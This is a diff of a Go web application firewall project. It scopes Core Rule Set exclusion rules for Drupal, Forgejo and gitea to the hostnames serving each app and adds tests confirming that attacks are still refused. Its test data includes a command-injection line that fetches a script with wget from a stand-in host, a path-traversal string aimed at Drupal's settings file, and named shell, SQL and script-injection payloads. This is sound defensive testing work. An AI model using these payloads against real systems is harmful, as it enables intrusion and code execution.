||||||
|
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
|
||||||
|
|
||||||
|
body := func(field, value string) string {
|
||||||
|
if tc.contentType == formData {
|
||||||
|
return field + "=" + url.QueryEscape(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
quoted, err := json.Marshal(map[string]string{field: value})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(quoted)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s=%q refused: %+v",
|
||||||
|
tc.path,
|
||||||
|
tc.field,
|
||||||
|
tc.name,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
|
||||||
|
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
param := tc.field
|
||||||
|
if tc.contentType == jsonBody {
|
||||||
|
param = "json." + tc.field
|
||||||
|
}
|
||||||
|
|
||||||
|
queried := request{
|
||||||
|
http.MethodPost,
|
||||||
|
tc.path + "?" + param + "=x",
|
||||||
|
r.headers,
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
|
||||||
|
if got.Score < threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s=%q let through: %+v",
|
||||||
|
queried.target,
|
||||||
|
tc.field,
|
||||||
|
tc.name,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, attack := range []string{shellCommand, pathTraversal} {
|
||||||
|
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s=%q let through: %+v",
|
||||||
|
tc.path,
|
||||||
|
tc.field,
|
||||||
|
attack,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
@@ -25,6 +25,13 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists drupal for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_drupal itself.
|
||||||
|
SecRule &TX:app_drupal "@eq 0" \
|
||||||
|
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
# name: /admin/content/media?name=python3
|
||||||
@@ -323,3 +330,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
|
|
||||||
|
SecMarker END_DRUPAL
|
||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -37,6 +39,20 @@ const drupalEditAccount = "/user/2/edit"
|
|||||||
// drupalName is the field for a person's name, as the start of a form body.
|
// drupalName is the field for a person's name, as the start of a form body.
|
||||||
const drupalName = "name="
|
const drupalName = "name="
|
||||||
|
|
||||||
|
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"drupal"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Drupal's fixes let through.
|
||||||
|
search := get("/search?keys=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
// injection, as a query value.
|
// injection, as a query value.
|
||||||
//
|
//
|
||||||
@@ -243,7 +259,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
injection,
|
injection,
|
||||||
scriptTag,
|
scriptTag,
|
||||||
`; wget http://example.com/x.sh`,
|
shellCommand,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"name", "mail"} {
|
for _, field := range []string{"name", "mail"} {
|
||||||
|
|||||||
@@ -1,9 +1,16 @@
|
|||||||
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
|
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
|
||||||
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
|
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
|
||||||
# eighth change's fixes for gitea apply to its requests too, so this file holds
|
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
|
||||||
# only what Forgejo sends and gitea does not. Each exclusion runs with the
|
# sends and gitea does not. Each exclusion runs with the request, before the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# Core Rule Set's rules. Each comment names a request the rule refused.
|
# rules. Each comment names a request the rule refused.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists forgejo for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_forgejo itself.
|
||||||
|
SecRule &TX:app_forgejo "@eq 0" \
|
||||||
|
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
|
||||||
|
|
||||||
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
||||||
# these rules there:
|
# these rules there:
|
||||||
@@ -115,3 +122,24 @@ SecRule REQUEST_FILENAME \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
|
||||||
|
# which skips the list of command names (932260) there. It refused python3.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
||||||
|
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Forgejo renames a branch on its own path, where from and to name branches.
|
||||||
|
# They skip these rules:
|
||||||
|
# 932120: fix-powershell-module
|
||||||
|
# 932260: feat/docker-support
|
||||||
|
# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the
|
||||||
|
# query has a parameter of the same name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||||
|
"id:900666,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
||||||
|
|
||||||
|
SecMarker END_FORGEJO
|
||||||
@@ -4,13 +4,66 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// forgejo is Forgejo's name in SWW_APPS.
|
||||||
|
const forgejo = "forgejo"
|
||||||
|
|
||||||
|
// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
|
||||||
|
const forgejoHost = "code.example"
|
||||||
|
|
||||||
|
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
forgejoHost: {forgejo}, otherHost: {wordpress},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search of a wiki, a search of the admin page, and a file name in
|
||||||
|
// Forgejo's flash cookie, which only Forgejo's fixes let through.
|
||||||
|
for _, fixed := range []struct {
|
||||||
|
request request
|
||||||
|
result coreruleset.Result
|
||||||
|
}{
|
||||||
|
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
|
||||||
|
{get("/admin/repos?q=python3"), matched(932260)},
|
||||||
|
{
|
||||||
|
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
||||||
|
matched(930120),
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, forgejoHost),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
|
||||||
|
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, forgejoHost),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
||||||
// a wiki, of releases and of a job's log, from the fifteenth change, and the
|
// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
|
||||||
// searches for a name, from the eighth. The search of code at a branch or tag
|
// fixes, and the searches for a name, from gitea's. The search of code at a
|
||||||
// is not one of them: there, as on gitea's search of code, q lets these
|
// branch or tag is not one of them: there, as on gitea's search of code, q
|
||||||
// attacks through.
|
// lets these attacks through.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var forgejoSearches = []string{
|
var forgejoSearches = []string{
|
||||||
@@ -18,6 +71,7 @@ var forgejoSearches = []string{
|
|||||||
"/alice/tools/releases",
|
"/alice/tools/releases",
|
||||||
"/api/v1/repos/alice/tools/releases",
|
"/api/v1/repos/alice/tools/releases",
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
||||||
|
"/admin/repos",
|
||||||
"/explore/repos",
|
"/explore/repos",
|
||||||
"/explore/users",
|
"/explore/users",
|
||||||
"/alice/tools/branches",
|
"/alice/tools/branches",
|
||||||
@@ -63,11 +117,11 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
// /bin/sh and the hard values, which q lets through on the searches of
|
// /bin/sh and the hard values, which q lets through on the searches
|
||||||
// the fifteenth change and on those of branches and packages, stay
|
// named in Forgejo's fixes and on those of branches and packages, stay
|
||||||
// refused in q on paths near them and in another field on them.
|
// refused in q on paths near them and in another field on them.
|
||||||
// /alice/wiki/search would be the code search of a repository named
|
// /alice/wiki/search would be the code search of a repository named
|
||||||
// wiki, where the eighth change lets q through. Forgejo has no owner
|
// wiki, where gitea's fixes let q through. Forgejo has no owner
|
||||||
// named api, so the paths under /api/ here are not searches.
|
// named api, so the paths under /api/ here are not searches.
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/alice/tools/wiki/Home?q=",
|
"/alice/tools/wiki/Home?q=",
|
||||||
|
|||||||
@@ -1,8 +1,56 @@
|
|||||||
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
||||||
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
# They are the fields where gitea sends a search, a file's name or text, a
|
||||||
# a file name or a branch name. Each exclusion runs with the request, before the
|
# commit message, a branch name or a repository's name. Each exclusion runs with
|
||||||
# rules it switches off, those of phase 1 included, so this file is loaded before
|
# the request, before the rules it switches off, those of phase 1 included, so
|
||||||
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
# this file is loaded before the Core Rule Set's rules. Each comment names a
|
||||||
|
# request the rule refused.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists gitea or forgejo for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_gitea itself.
|
||||||
|
SecRule &TX:app_gitea "@eq 0" \
|
||||||
|
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
||||||
|
|
||||||
|
# The query parameters in which gitea sends names within a repository or its
|
||||||
|
# own records, or a page of its own site, are not checked against the lists of
|
||||||
|
# system files, shell paths and command names, on any path:
|
||||||
|
# 930120: .gitignore
|
||||||
|
# 932160: bin/docker-entrypoint
|
||||||
|
# 932260: docker-build
|
||||||
|
# ARGS holds the fields of a form data or multipart body Coraza reads as well
|
||||||
|
# as the query parameters, so a field of these names is left out too.
|
||||||
|
SecAction "id:900591,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -225,8 +273,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. The fourth change already has
|
# Each request skips the rules that refused it. Rule 900591 already has path and
|
||||||
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
# redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -345,6 +393,91 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||||
|
|
||||||
|
# The requests below name a file or a branch in a body field, which is read only
|
||||||
|
# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
|
||||||
|
# Each field below that names a branch skips these rules:
|
||||||
|
# 932120: fix-powershell-module
|
||||||
|
# 932260: feat/docker-support
|
||||||
|
# None applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
|
# The web editor's save, new file, delete, upload, patch, cherry-pick and
|
||||||
|
# preview. The file's path, in tree_path, skips these rules:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: scripts/install-script.sh
|
||||||
|
# 932260: docker-compose.yml
|
||||||
|
# The commit's summary, in commit_summary, skips these rules:
|
||||||
|
# 930120: Remove .htaccess
|
||||||
|
# 932120: Remove scripts/install-script.sh
|
||||||
|
# The file's text or the patch, in content, skips one rule:
|
||||||
|
# 932235: a line that starts with install
|
||||||
|
# A new branch for the commit is named in new_branch_name.
|
||||||
|
SecRule REQUEST_FILENAME \
|
||||||
|
"@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
|
||||||
|
"id:900660,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:content,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
||||||
|
|
||||||
|
# A branch created on the web, in new_branch_name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
|
||||||
|
"id:900661,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:new_branch_name "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
||||||
|
|
||||||
|
# A branch renamed on the web, in from and to.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
|
||||||
|
"id:900662,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
||||||
|
|
||||||
|
# A branch created through the API, in new_branch_name. It starts from the
|
||||||
|
# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
|
||||||
|
"id:900663,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
|
||||||
|
|
||||||
|
# A pull request opened through the API, from the branch in head into the
|
||||||
|
# branch in base.
|
||||||
|
# An edit of one sends its new target branch in base.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
|
||||||
|
"id:900664,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.base"
|
||||||
|
|
||||||
|
# One file or several created, changed or deleted through the API, on the branch
|
||||||
|
# in branch. A new branch for the commit is named in new_branch. The commit's
|
||||||
|
# message, in message, skips these rules:
|
||||||
|
# 930120: Remove .htaccess
|
||||||
|
# 932120: Add a PowerShell build script
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
|
||||||
|
"id:900665,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message"
|
||||||
|
|
||||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||||
# Content-Range, which the Core Rule Set refused (920450).
|
# Content-Range, which the Core Rule Set refused (920450).
|
||||||
SecRule REQUEST_FILENAME \
|
SecRule REQUEST_FILENAME \
|
||||||
@@ -352,6 +485,25 @@ SecRule REQUEST_FILENAME \
|
|||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
|
# The forms that adopt or delete an unadopted repository send its name in id.
|
||||||
|
# The admin forms put its owner in front, as alice/python3-app. id skips these
|
||||||
|
# rules there:
|
||||||
|
# 930120: alice/.profile
|
||||||
|
# 932120: alice/powershell-scripts
|
||||||
|
# 932160: robin/assets, which holds bin/as
|
||||||
|
# 932260: alice/python3-app
|
||||||
|
# The forms post to these paths:
|
||||||
|
# /-/admin/repos/unadopted: gitea's admin form
|
||||||
|
# /admin/repos/unadopted: Forgejo's admin form
|
||||||
|
# /user/settings/repos/unadopted: the form in a user's settings, on both
|
||||||
|
SecRule REQUEST_FILENAME \
|
||||||
|
"@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
|
||||||
|
"id:900645,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:id,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:id,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:id,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:id"
|
||||||
|
|
||||||
# The passwords skip each rule that random passwords set off:
|
# The passwords skip each rule that random passwords set off:
|
||||||
# password: signing in, signing up, linking an account, activating an account,
|
# password: signing in, signing up, linking an account, activating an account,
|
||||||
# resetting or changing the password, deleting an account, and creating or
|
# resetting or changing the password, deleting an account, and creating or
|
||||||
@@ -398,3 +550,16 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
|
|||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||||
|
|
||||||
|
# Referer skips the rule on Java class names (944130). It refused every page
|
||||||
|
# opened from the page of java.lang.String.md.
|
||||||
|
SecAction "id:900641,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
|
# A container image push that reuses a layer names the image it takes the layer
|
||||||
|
# from in the query parameter from, which skips the list of command names
|
||||||
|
# (932260) there. It refused the push of a layer from owner/python3-app.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
||||||
|
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
||||||
|
|
||||||
|
SecMarker END_GITEA
|
||||||
@@ -8,6 +8,13 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
|
||||||
|
// of unadopted repositories. The forms that adopt or delete one post there.
|
||||||
|
const (
|
||||||
|
giteaAdminUnadoptedRepos = "/-/admin/repos/unadopted"
|
||||||
|
forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
|
||||||
|
)
|
||||||
|
|
||||||
// giteaSearches are searches of the pages gitea and Forgejo share whose q
|
// giteaSearches are searches of the pages gitea and Forgejo share whose q
|
||||||
// skips the lists of system files and command names, in the eighth change.
|
// skips the lists of system files and command names, in the eighth change.
|
||||||
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
||||||
